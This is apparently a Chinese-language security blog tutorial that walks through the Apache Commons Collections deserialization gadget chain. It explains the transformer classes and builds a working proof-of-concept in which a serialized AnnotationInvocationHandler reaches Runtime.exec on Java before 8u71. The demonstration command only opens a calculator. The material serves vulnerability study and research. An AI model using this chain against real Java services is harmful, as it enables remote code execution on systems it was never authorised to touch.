初探Commons-Collections反序列化链
0x01 Apache Commons Collections
Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。
要分析这个反序列化,首先要从Transformer类开始介绍。
Transformer
org.apache.commons.collections.Transformer是一个接口,从代码上看它就只有一个待实现的方法。
public interface Transformer {
Object transform(Object var1);
}
接着介绍几个关键的类:ConstantTransformer、InvokerTransformer、ChainedTransformer
这三个类都是Transformer接口的实现类。
ConstantTransformer
直接看源码:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;}
简单来说,这个类的作用就是你输入什么类,它就返回什么类型。
InvokerTransformer
看到invoke这词就很熟了,查看下代码,发现可以通过反射创建一个对象实例
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
且methodName和paramTypes参数可控,也就是说我们可以通过这个类反射实例化调用其他类其他方法,InvokerTransformer也就是我们这个序列化链的关键类。
举个例子:
我们来分析下这段测试代码,首先,我们的目的是要通过InvokerTransformer来反射Runtime.class类的getMethod方法,也就是说,要反射的方法名methodName为getMethod,而getMethod方法的参数类型为string.class和class[].class, 所以paramTypes就为new Class[]{ String.class,Class[].class}
,接着,既然然参数有两个,string.class对应的为我们要调用的getRuntime方法,那么class[].class对应的参数为啥呢?直接为null就可以了,用new Class[0]
也可以,其实用new Class[0]
还更好,还可以防止在for循环时抛出异常。
运行查看下结果:
可以看到这段代码已经成功反射出了Runtime.getRuntime()方法。
ChainedTransformer
接下来是ChainedTransformer类,我们直接来看代码比较容易理解:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
相当于把参数中的每一个Transform类按顺序循环调用了一遍transform,且transform方法传递的参数为上个transform返回的对象。
0x02 构造Transform链
通过上面的介绍,下面就可以直接看这段代码了
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
首先,先通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,得到方法后还要继续通过反射执行invoke才能去调用getRuntime方法,这样才能得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。
最后再把已经构造的好的Transform组合或者说Transform链,作为ChainedTransformer构造函数的参数,然后找条件执行到ChainedTransformer的transform方法,前一个transform方法返回的对象作为下个transform方法的参数,这就很完美,然后让它依次去循环调用各个Transform类的transform方法来执行我们想要调用的方法,从而来完成命令执行。这样的构造细细品味很有意思,果然反射在java中是无比强大的。
至于这里为什么不能直接用Runtime.getRuntime()来得到Runtime对象呢,比如这样写:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
这样看起来是不是省事很多?但这样在反序列化中是不可行的,原因是,java中不是所有的对象都支持反序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而这里的Runtime类是没有实现 java.io.Serializable 接口的,所以也就只能通过反射来完成。
回到上面,当然这些都要建立在能够执行ChainedTransformer的transform方法的前提下,所以要怎么触发执行这个transform方法呢?
看到TransformedMap这个类,它有个transformValue方法
也就是说,如果我们能控制valueTransformer为我们构造的ChainedTransformer对象,那我们上面的问题就迎刃而解了。我们再去看哪里调用了这个valueTransformer方法,
同样在TransformedMap类中,put方法就调用了valueTransformer方法,而且value的值是我们完全可控的,简直完美。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
TransformedMap的decorate方法相当于把我们构造的transformers链带入修饰,并返回了一个新的TransformedMap对象,简单看下这个方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
最后再调用put方法,运行后成功弹出了计算器:
0x03 寻找可利用的反序列化类
到了我们的最终问题,如何生成一个可用的反序列化POC呢?上面的put方法我们是手工执行来让它触发的,所以在实际反序列化的时候,我们要找到readObject方法里有类似put这样的操作方法,让它在反序列的时候触发就可以了。
在8u71之前,有这样的一个类:sun.reflect.annotation.AnnotationInvocationHandler
直接先看它的readObject方法:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
看到memberValue成员变量是map对象,而且达到一定条件后就能执行到memberValue.setValue(),也就是说,如果把我们之前构造的transform链包装成一个Map对象后,将它作为AnnotationInvocationHandler反序列后的memberValue,这样在它readObject反序列化的时候,触发memberValue.setValue(),然后再触发TransformedMap里的transform(),最后实现命令执行。
最终的POC:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
0x04 总结
文章的重点还是放在了transform链的调试分析上,实际上最后的poc还是有很大局限性,只在java 8u71前可用,以及poc的一些细节都没仔细展开去写出来。
另外CommonsCollections中的反序列化链除了使用TransformedMap去利用之外,还能使用Lazmap以及动态代理的方式去利用,在ysoserial中的代码就可以找到,还有能利用基于PriorityQueue类的序列化等等的一系列思路,这些思路的细节还没去调试分析,下次再继续做个总结。